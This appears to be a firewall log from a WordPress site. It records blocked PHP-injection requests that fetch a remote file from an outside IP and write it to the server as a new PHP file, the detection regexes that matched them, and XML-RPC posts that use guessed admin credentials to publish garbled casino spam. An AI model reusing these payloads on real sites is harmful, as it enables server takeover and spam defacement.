["2026-05-12 11:01:36","144.76.215.54","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> lZ:%3C%3Fphp%20%20file_put_contents%28%27column_display.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/pfJVyxCdxK%27%29%29%3B","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\naccept:*\/*\nsec-fetch-dest:document\nupgrade-insecure-requests:1\ncontent-length:177\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoSbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-encoding:gzip,deflate\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nlZ=%3C%3Fphp%20%20file_put_contents%28%27column_display.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/pfJVyxCdxK%27%29%29%3B"]
["2026-05-12 11:02:23","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20file_put_contents%28%27tbl_relation.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/afvtgNRhRo%27%29%29%3B\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-length:198\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nIMAhJp=eval(rawurldecode(\"%20file_put_contents%28%27tbl_relation.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/afvtgNRhRo%27%29%29%3B\"));"]
["2026-05-12 11:02:45","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Hn:%3C%3Fphp%20%20file_put_contents%28%27xp_publish.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/VCATcSTBJJ%27%29%29%3B","POST \/wp-admin\/site-health.php HTTP\/1.1\ncontent-length:173\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFT4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nHn=%3C%3Fphp%20%20file_put_contents%28%27xp_publish.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/VCATcSTBJJ%27%29%29%3B"]
["2026-05-12 11:31:01","98.98.33.89","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36","post","select.+(from|limit) >> <?xml version:\"1.0\" encoding=\"UTF-8\"?>\r\n<methodCall>\r\n  <methodName>wp.newPost<\/methodName>\r\n  <params>\r\n    <param><value>1<\/value><\/param>\r\n    <param><value>admin<\/value><\/param>\r\n    <param><value>Admin@123<\/value><\/param>\r\n    <param>\r\n      <value>\r\n        <struct>\r\n          <member><name>post_type<\/name>\r\n            <value>post<\/value><\/member>\r\n\t\t  <member><name>post_status<\/name>\r\n            <value>publish<\/value><\/member>\r\n\t\t  <member><name>post_title<\/name>\r\n            <value><![CDATA[Thunderstruck On the web Slot: Gambling enterprises, Winnings, Bonuses]]><\/value><\/member>\r\n\t\t  <member><name>post_content<\/name>\r\n            <value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Articles<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Games Business<\/a><\/li><li><a href=\"#toc-1\">The newest Wild Raven Element<\/a><\/li><\/ul><\/div>\n<p>They still has got the 8,000x risk maximum victory without having any jackpots, and those free spins are nevertheless plenty of fun to test and you may discover. It indicates fewer gains via your playing date typically, nevertheless have the opportunity in order to win certainly four jackpots ranging from ten as much as over 2 million inside the bucks. <!--more--> And also to increase you to diversity, he's got started adding the new Mega Moolah jackpots for some out of their most widely used slot video game like the Thunderstruck 2 slot and the newest Immortal Love slot. Microgaming is now offering a variety of Mega Moolah ports, that will home your more than 2 million inside the real money honours from spin.<\/p>\r\n<h2 id=\"toc-0\">Games Business<\/h2>\n<p>The online game control are common inside the a vertical bar on the proper of one's reels. The brand new Norse mythology theme is additionally prevalent, very compare Thunderstruck II to many other readily available video game. As a result, plenty of similar online game was released by other business more than recent years. Whether or not I hit a decent victory from the one-point, the online game’s volatility has worked against me while i didn’t manage to keep my winning implies for the entire training. While playing which position, I came across one to my fortune try below average as i didn’t end the newest lesson having an income.<\/p>\r\n<h2 id=\"toc-1\">The newest Wild Raven Element<\/h2>\n<p>These are symbols, let's read the paytable! All procedures associated with the game occur on the a dark metal gray background, framed because of the structures out of Scandinavian structure embossed on the steel. Thunderstruck II Remastered seems much dark and a lot more remarkable versus brand new game. The combinations vary from the newest leftmost reel and you can shell out of kept to help you right on adjacent reels.<\/p>\n<p>It is totally free and also as enjoyable because the genuine video game. For one <a href=\"https:\/\/vogueplay.com\/uk\/slotsmagic-casino-review\/\">vogueplay.com company web site<\/a> , you can examine the newest Thunderstruck dos demo gamble. Don’t forget about that you don’t always need wager real money instantly. The newest ability provides collectively a multiplier walk. This particular feature can be found just following fifteenth result in.<\/p>\n<img src=\"https:\/\/spin-o-mania.com\/wp-content\/uploads\/2019\/11\/lord-lucky-casino800x200.jpg\" alt=\"g casino online sheffield\" border=\"1\" align=\"right\">\n<p>The new Thunderstruck II Super Moolah maximum earn is 8,000x, and this doesn't come with the fresh jackpot figures and that is an identical value because the casino slot games of the same identity. A average to own harbors are 96%, but the lower well worth is because a chunk of each and every bet goes on the jackpot containers. Gold coins usually house for the reels 2 to 4 and help activate the new function. The fresh Wildstorm affects can turn from one around all of the four reels crazy.<\/p>\n<p>You will discover a payment from the coordinating less than six identical signs for the 1 of the contours. Thrill-candidates often honor the game as the constructors has particularly dependent a great level of volatility. For the best playing sense addititionally there is an additional settings selection to the drawing.<\/p>\n<p>To the hands of these seeking to improve the adventure accounts the utmost wager greeting inside video game goes, up to $15 (£11). For every go back stop by at The good Hallway unlocks revolves and multipliers which have Thors 100 percent free revolves providing a prospective 5x multiplier as well as the chance for whole reel changes. Delight in a gaming sense you to lures online slot fans everywhere. Discover 100 percent free twist incentives linked with Norse gods for example Thor, Odin, Valkyrie and Loki. An exciting 8,000 times multiplier of your choice awaits since the prize to have winners. Numero Uno DemoLast however the very least inside set of the newest Game International video game we do have the Numero Uno.<\/p>\r\n\r\n<ul><li>Add a free of charge revolves bullet that may property you ranging from 7 and you can 25 free spins having ranging from 1x and you can 12x multipliers and you may the game not simply looks good but plays really as well.<\/li><li>You could potentially choice anywhere between you to definitely and you will ten coins on the coin well worth ranging from 0.01 in order to 0.05, so the limit you might wager is actually $15.<\/li><li>The new position now offers 243 a means to win, so you might assume wagers to go on the fresh steep top.<\/li><\/ul>\n<p>You are awarded ten 100 percent free spins and you may a different Insane Wonders element is also produced. You are following granted 10 100 percent free revolves to play and also you can be lso are-lead to one 100 percent free spin which you at the same time assemble. Min £ten put ","POST \/xmlrpc.php HTTP\/1.1\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36\nconnection:Close\ncontent-type:text\/xml; charset=utf-8\ncontent-length:7703\n\n £10 bet on ports online game(s). Thunderstruck are a genuine money slot which have an enthusiastic Thrill theme and you will has such as Scatter Symbol and 100 percent free Revolves. The fresh game play is a lot like the newest desktop, with the exception of small reels plus the controls, which happen to be in the another condition.<\/p>\n<img src=\"https:\/\/static.ffx.io\/images\/$zoom_0.138,$multiply_0.9735,$ratio_1.5,$width_756,$x_0,$y_0\/t_crop_custom\/q_86,f_auto\/e4098b45ff58eec05b235e66ae5067a5728deab3\" alt=\"$400 no deposit bonus codes 2020\" border=\"1\" align=\"left\">\n<p>If you need more than just an informal spin, I’ll along with section your on the almost every other free demo slots and you will in which discover him or her for fun or, if you'd like, in the actual gambling enterprises. The major prospective on the a screen laden with wilds inside the free spins is actually enormous, which will keep me personally chasing after the main benefit despite a dried out spell. Thunderstruck of Microgaming gamble 100 percent free trial variation ▶ Gambling enterprise Slot Opinion Thunderstruck ✔ Go back (RTP) out of online slots games to your March 2026 and you may wager a real income✔ Thus, if you wish to sense exactly what it is like to play which big on the internet position, get involved in it today at the favourite Microgaming internet casino!<\/p>]]><\/value><\/member>\t  \r\n\t\t  <member><name>post_date_gmt<\/name>\r\n            <value><dateTime.iso8601>20260512T03:30:59<\/dateTime.iso8601><\/value><\/member>\r\n\t\t  <member><name>post_name<\/name>\r\n            <value><![CDATA[thunderstruck-on-the-web-slot:-gambling-enterprises,-winnings,-bonuses]]><\/value><\/member>\r\n          \r\n        <\/struct>\r\n      <\/value>\r\n    <\/param>\r\n  <\/params>\r\n<\/methodCall>&<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<methodCall>\r\n  <methodName>wp.newPost<\/methodName>\r\n  <params>\r\n    <param><value>1<\/value><\/param>\r\n    <param><value>admin<\/value><\/param>\r\n    <param><value>Admin@123<\/value><\/param>\r\n    <param>\r\n      <value>\r\n        <struct>\r\n          <member><name>post_type<\/name>\r\n            <value>post<\/value><\/member>\r\n\t\t  <member><name>post_status<\/name>\r\n            <value>publish<\/value><\/member>\r\n\t\t  <member><name>post_title<\/name>\r\n            <value><![CDATA[Thunderstruck On the web Slot: Gambling enterprises, Winnings, Bonuses]]><\/value><\/member>\r\n\t\t  <member><name>post_content<\/name>\r\n            <value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Articles<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Games Business<\/a><\/li><li><a href=\"#toc-1\">The newest Wild Raven Element<\/a><\/li><\/ul><\/div>\n<p>They still has got the 8,000x risk maximum victory without having any jackpots, and those free spins are nevertheless plenty of fun to test and you may discover. It indicates fewer gains via your playing date typically, nevertheless have the opportunity in order to win certainly four jackpots ranging from ten as much as over 2 million inside the bucks. <!--more--> And also to increase you to diversity, he's got started adding the new Mega Moolah jackpots for some out of their most widely used slot video game like the Thunderstruck 2 slot and the newest Immortal Love slot. Microgaming is now offering a variety of Mega Moolah ports, that will home your more than 2 million inside the real money honours from spin.<\/p>\r\n<h2 id=\"toc-0\">Games Business<\/h2>\n<p>The online game control are common inside the a vertical bar on the proper of one's reels. The brand new Norse mythology theme is additionally prevalent, very compare Thunderstruck II to many other readily available video game. As a result, plenty of similar online game was released by other business more than recent years. Whether or not I hit a decent victory from the one-point, the online game’s volatility has worked against me while i didn’t manage to keep my winning implies for the entire training. While playing which position, I came across one to my fortune try below average as i didn’t end the newest lesson having an income.<\/p>\r\n<h2 id=\"toc-1\">The newest Wild Raven Element<\/h2>\n<p>These are symbols, let's read the paytable! All procedures associated with the game occur on the a dark metal gray background, framed because of the structures out of Scandinavian structure embossed on the steel. Thunderstruck II Remastered seems much dark and a lot more remarkable versus brand new game. The combinations vary from the newest leftmost reel and you can shell out of kept to help you right on adjacent reels.<\/p>\n<p>It is totally free and also as enjoyable because the genuine video game. For one <a href=\"https:\/\/vogueplay.com\/uk\/slotsmagic-casino-review\/\">vogueplay.com company web site<\/a> , you can examine the newest Thunderstruck dos demo gamble. Don’t forget about that you don’t always need wager real money instantly. The newest ability provides collectively a multiplier walk. This particular feature can be found just following fifteenth result in.<\/p>\n<img src=\"https:\/\/spin-o-mania.com\/wp-content\/uploads\/2019\/11\/lord-lucky-casino800x200.jpg\" alt=\"g casino online sheffield\" border=\"1\" align=\"right\">\n<p>The new Thunderstruck II Super Moolah maximum earn is 8,000x, and this doesn't come with the fresh jackpot figures and that is an identical value because the casino slot games of the same identity. A average to own harbors are 96%, but the lower well worth is because a chunk of each and every bet goes on the jackpot containers. Gold coins usually house for the reels 2 to 4 and help activate the new function. The fresh Wildstorm affects can turn from one around all of the four reels crazy.<\/p>\n<p>You will discover a payment from the coordinating less than six identical signs for the 1 of the contours. Thrill-candidates often honor the game as the constructors has particularly dependent a great level of volatility. For the best playing sense addititionally there is an additional settings selection to the drawing.<\/p>\n<p>To the hands of these seeking to improve the adventure accounts the utmost wager greeting inside video game goes, up to $15 (£11). For every go back stop by at The good Hallway unlocks revolves and multipliers which have Thors 100 percent free revolves providing a prospective 5x multiplier as well as the chance for whole reel changes. Delight in a gaming sense you to lures online slot fans everywhere. Discover 100 percent free twist incentives linked with Norse gods for example Thor, Odin, Valkyrie and Loki. An exciting 8,000 times multiplier of your choice awaits since the prize to have winners. Numero Uno DemoLast however the very least inside set of the newest Game International video game we do have the Numero Uno.<\/p>\r\n\r\n<ul><li>Add a free of charge revolves bullet that may property you ranging from 7 and you can 25 free spins having ranging from 1x and you can 12x multipliers and you may the game not simply looks good but plays really as well.<\/li><li>You could potentially choice anywhere between you to definitely and you will ten coins on the coin well worth ranging from 0.01 in order to 0.05, so the limit you might wager is actually $15.<\/li><li>The new position now offers 243 a means to win, so you might assume wagers to go on the fresh steep top.<\/li><\/ul>\n<p>You are awarded ten 100 percent free spins and you may a different Insane Wonders element is also produced. You are following granted 10 100 percent free revolves to play and also you can be lso are-lead to one 100 percent free spin which you at the same time assemble. Min £ten put "]
["2026-05-12 11:31:02","98.98.33.89","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36","post","select.+(from|limit) >> <?xml version:\"1.0\"?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param><value><array><data>\r\n  <value><int>0<\/int><\/value>\r\n  <value><string>admin<\/string><\/value>\r\n  <value><string>Admin@123<\/string><\/value>\r\n  <value><struct>\r\n  <member><name>title<\/name><value><![CDATA[Thunderstruck On the web Slot: Gambling enterprises, Winnings, Bonuses]]><\/value><\/member>\r\n  <member><name>description<\/name><value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Articles<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Games Business<\/a><\/li><li><a href=\"#toc-1\">The newest Wild Raven Element<\/a><\/li><\/ul><\/div>\n<p>They still has got the 8,000x risk maximum victory without having any jackpots, and those free spins are nevertheless plenty of fun to test and you may discover. It indicates fewer gains via your playing date typically, nevertheless have the opportunity in order to win certainly four jackpots ranging from ten as much as over 2 million inside the bucks. <!--more--> And also to increase you to diversity, he's got started adding the new Mega Moolah jackpots for some out of their most widely used slot video game like the Thunderstruck 2 slot and the newest Immortal Love slot. Microgaming is now offering a variety of Mega Moolah ports, that will home your more than 2 million inside the real money honours from spin.<\/p>\r\n<h2 id=\"toc-0\">Games Business<\/h2>\n<p>The online game control are common inside the a vertical bar on the proper of one's reels. The brand new Norse mythology theme is additionally prevalent, very compare Thunderstruck II to many other readily available video game. As a result, plenty of similar online game was released by other business more than recent years. Whether or not I hit a decent victory from the one-point, the online game’s volatility has worked against me while i didn’t manage to keep my winning implies for the entire training. While playing which position, I came across one to my fortune try below average as i didn’t end the newest lesson having an income.<\/p>\r\n<h2 id=\"toc-1\">The newest Wild Raven Element<\/h2>\n<p>These are symbols, let's read the paytable! All procedures associated with the game occur on the a dark metal gray background, framed because of the structures out of Scandinavian structure embossed on the steel. Thunderstruck II Remastered seems much dark and a lot more remarkable versus brand new game. The combinations vary from the newest leftmost reel and you can shell out of kept to help you right on adjacent reels.<\/p>\n<p>It is totally free and also as enjoyable because the genuine video game. For one <a href=\"https:\/\/vogueplay.com\/uk\/slotsmagic-casino-review\/\">vogueplay.com company web site<\/a> , you can examine the newest Thunderstruck dos demo gamble. Don’t forget about that you don’t always need wager real money instantly. The newest ability provides collectively a multiplier walk. This particular feature can be found just following fifteenth result in.<\/p>\n<img src=\"https:\/\/spin-o-mania.com\/wp-content\/uploads\/2019\/11\/lord-lucky-casino800x200.jpg\" alt=\"g casino online sheffield\" border=\"1\" align=\"right\">\n<p>The new Thunderstruck II Super Moolah maximum earn is 8,000x, and this doesn't come with the fresh jackpot figures and that is an identical value because the casino slot games of the same identity. A average to own harbors are 96%, but the lower well worth is because a chunk of each and every bet goes on the jackpot containers. Gold coins usually house for the reels 2 to 4 and help activate the new function. The fresh Wildstorm affects can turn from one around all of the four reels crazy.<\/p>\n<p>You will discover a payment from the coordinating less than six identical signs for the 1 of the contours. Thrill-candidates often honor the game as the constructors has particularly dependent a great level of volatility. For the best playing sense addititionally there is an additional settings selection to the drawing.<\/p>\n<p>To the hands of these seeking to improve the adventure accounts the utmost wager greeting inside video game goes, up to $15 (£11). For every go back stop by at The good Hallway unlocks revolves and multipliers which have Thors 100 percent free revolves providing a prospective 5x multiplier as well as the chance for whole reel changes. Delight in a gaming sense you to lures online slot fans everywhere. Discover 100 percent free twist incentives linked with Norse gods for example Thor, Odin, Valkyrie and Loki. An exciting 8,000 times multiplier of your choice awaits since the prize to have winners. Numero Uno DemoLast however the very least inside set of the newest Game International video game we do have the Numero Uno.<\/p>\r\n\r\n<ul><li>Add a free of charge revolves bullet that may property you ranging from 7 and you can 25 free spins having ranging from 1x and you can 12x multipliers and you may the game not simply looks good but plays really as well.<\/li><li>You could potentially choice anywhere between you to definitely and you will ten coins on the coin well worth ranging from 0.01 in order to 0.05, so the limit you might wager is actually $15.<\/li><li>The new position now offers 243 a means to win, so you might assume wagers to go on the fresh steep top.<\/li><\/ul>\n<p>You are awarded ten 100 percent free spins and you may a different Insane Wonders element is also produced. You are following granted 10 100 percent free revolves to play and also you can be lso are-lead to one 100 percent free spin which you at the same time assemble. Min £ten put ","POST \/xmlrpc.php HTTP\/1.1\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36\nconnection:Close\ncontent-type:text\/xml; charset=utf-8\ncontent-length:7771\n\n £10 bet on ports online game(s). Thunderstruck are a genuine money slot which have an enthusiastic Thrill theme and you will has such as Scatter Symbol and 100 percent free Revolves. The fresh game play is a lot like the newest desktop, with the exception of small reels plus the controls, which happen to be in the another condition.<\/p>\n<img src=\"https:\/\/static.ffx.io\/images\/$zoom_0.138,$multiply_0.9735,$ratio_1.5,$width_756,$x_0,$y_0\/t_crop_custom\/q_86,f_auto\/e4098b45ff58eec05b235e66ae5067a5728deab3\" alt=\"$400 no deposit bonus codes 2020\" border=\"1\" align=\"left\">\n<p>If you need more than just an informal spin, I’ll along with section your on the almost every other free demo slots and you will in which discover him or her for fun or, if you'd like, in the actual gambling enterprises. The major prospective on the a screen laden with wilds inside the free spins is actually enormous, which will keep me personally chasing after the main benefit despite a dried out spell. Thunderstruck of Microgaming gamble 100 percent free trial variation ▶ Gambling enterprise Slot Opinion Thunderstruck ✔ Go back (RTP) out of online slots games to your March 2026 and you may wager a real income✔ Thus, if you wish to sense exactly what it is like to play which big on the internet position, get involved in it today at the favourite Microgaming internet casino!<\/p>]]><\/value><\/member>\r\n  <member><name>dateCreated<\/name><value><dateTime.iso8601>20260512T03:31:01<\/dateTime.iso8601><\/value><\/member>\r\n  <member><name>mt_allow_comments<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>mt_allow_pings<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>post_type<\/name><value><string>post<\/string><\/value><\/member>\r\n  <member><name>mt_keywords<\/name><value><string><\/string><\/value><\/member>\r\n  \r\n  <member><name>custom_fields<\/name><value><array><data>\r\n  <value><string><\/string><\/value>\r\n<\/data><\/array><\/value><\/member>\r\n<\/struct><\/value>\r\n  <value><boolean>1<\/boolean><\/value>\r\n<\/data><\/array><\/value><\/param>\r\n<\/params><\/methodCall>&<?xml version=\"1.0\"?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param><value><array><data>\r\n  <value><int>0<\/int><\/value>\r\n  <value><string>admin<\/string><\/value>\r\n  <value><string>Admin@123<\/string><\/value>\r\n  <value><struct>\r\n  <member><name>title<\/name><value><![CDATA[Thunderstruck On the web Slot: Gambling enterprises, Winnings, Bonuses]]><\/value><\/member>\r\n  <member><name>description<\/name><value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Articles<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Games Business<\/a><\/li><li><a href=\"#toc-1\">The newest Wild Raven Element<\/a><\/li><\/ul><\/div>\n<p>They still has got the 8,000x risk maximum victory without having any jackpots, and those free spins are nevertheless plenty of fun to test and you may discover. It indicates fewer gains via your playing date typically, nevertheless have the opportunity in order to win certainly four jackpots ranging from ten as much as over 2 million inside the bucks. <!--more--> And also to increase you to diversity, he's got started adding the new Mega Moolah jackpots for some out of their most widely used slot video game like the Thunderstruck 2 slot and the newest Immortal Love slot. Microgaming is now offering a variety of Mega Moolah ports, that will home your more than 2 million inside the real money honours from spin.<\/p>\r\n<h2 id=\"toc-0\">Games Business<\/h2>\n<p>The online game control are common inside the a vertical bar on the proper of one's reels. The brand new Norse mythology theme is additionally prevalent, very compare Thunderstruck II to many other readily available video game. As a result, plenty of similar online game was released by other business more than recent years. Whether or not I hit a decent victory from the one-point, the online game’s volatility has worked against me while i didn’t manage to keep my winning implies for the entire training. While playing which position, I came across one to my fortune try below average as i didn’t end the newest lesson having an income.<\/p>\r\n<h2 id=\"toc-1\">The newest Wild Raven Element<\/h2>\n<p>These are symbols, let's read the paytable! All procedures associated with the game occur on the a dark metal gray background, framed because of the structures out of Scandinavian structure embossed on the steel. Thunderstruck II Remastered seems much dark and a lot more remarkable versus brand new game. The combinations vary from the newest leftmost reel and you can shell out of kept to help you right on adjacent reels.<\/p>\n<p>It is totally free and also as enjoyable because the genuine video game. For one <a href=\"https:\/\/vogueplay.com\/uk\/slotsmagic-casino-review\/\">vogueplay.com company web site<\/a> , you can examine the newest Thunderstruck dos demo gamble. Don’t forget about that you don’t always need wager real money instantly. The newest ability provides collectively a multiplier walk. This particular feature can be found just following fifteenth result in.<\/p>\n<img src=\"https:\/\/spin-o-mania.com\/wp-content\/uploads\/2019\/11\/lord-lucky-casino800x200.jpg\" alt=\"g casino online sheffield\" border=\"1\" align=\"right\">\n<p>The new Thunderstruck II Super Moolah maximum earn is 8,000x, and this doesn't come with the fresh jackpot figures and that is an identical value because the casino slot games of the same identity. A average to own harbors are 96%, but the lower well worth is because a chunk of each and every bet goes on the jackpot containers. Gold coins usually house for the reels 2 to 4 and help activate the new function. The fresh Wildstorm affects can turn from one around all of the four reels crazy.<\/p>\n<p>You will discover a payment from the coordinating less than six identical signs for the 1 of the contours. Thrill-candidates often honor the game as the constructors has particularly dependent a great level of volatility. For the best playing sense addititionally there is an additional settings selection to the drawing.<\/p>\n<p>To the hands of these seeking to improve the adventure accounts the utmost wager greeting inside video game goes, up to $15 (£11). For every go back stop by at The good Hallway unlocks revolves and multipliers which have Thors 100 percent free revolves providing a prospective 5x multiplier as well as the chance for whole reel changes. Delight in a gaming sense you to lures online slot fans everywhere. Discover 100 percent free twist incentives linked with Norse gods for example Thor, Odin, Valkyrie and Loki. An exciting 8,000 times multiplier of your choice awaits since the prize to have winners. Numero Uno DemoLast however the very least inside set of the newest Game International video game we do have the Numero Uno.<\/p>\r\n\r\n<ul><li>Add a free of charge revolves bullet that may property you ranging from 7 and you can 25 free spins having ranging from 1x and you can 12x multipliers and you may the game not simply looks good but plays really as well.<\/li><li>You could potentially choice anywhere between you to definitely and you will ten coins on the coin well worth ranging from 0.01 in order to 0.05, so the limit you might wager is actually $15.<\/li><li>The new position now offers 243 a means to win, so you might assume wagers to go on the fresh steep top.<\/li><\/ul>\n<p>You are awarded ten 100 percent free spins and you may a different Insane Wonders element is also produced. You are following granted 10 100 percent free revolves to play and also you can be lso are-lead to one 100 percent free spin which you at the same time assemble. Min £ten put "]
["2026-05-12 11:38:12","212.87.197.20","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 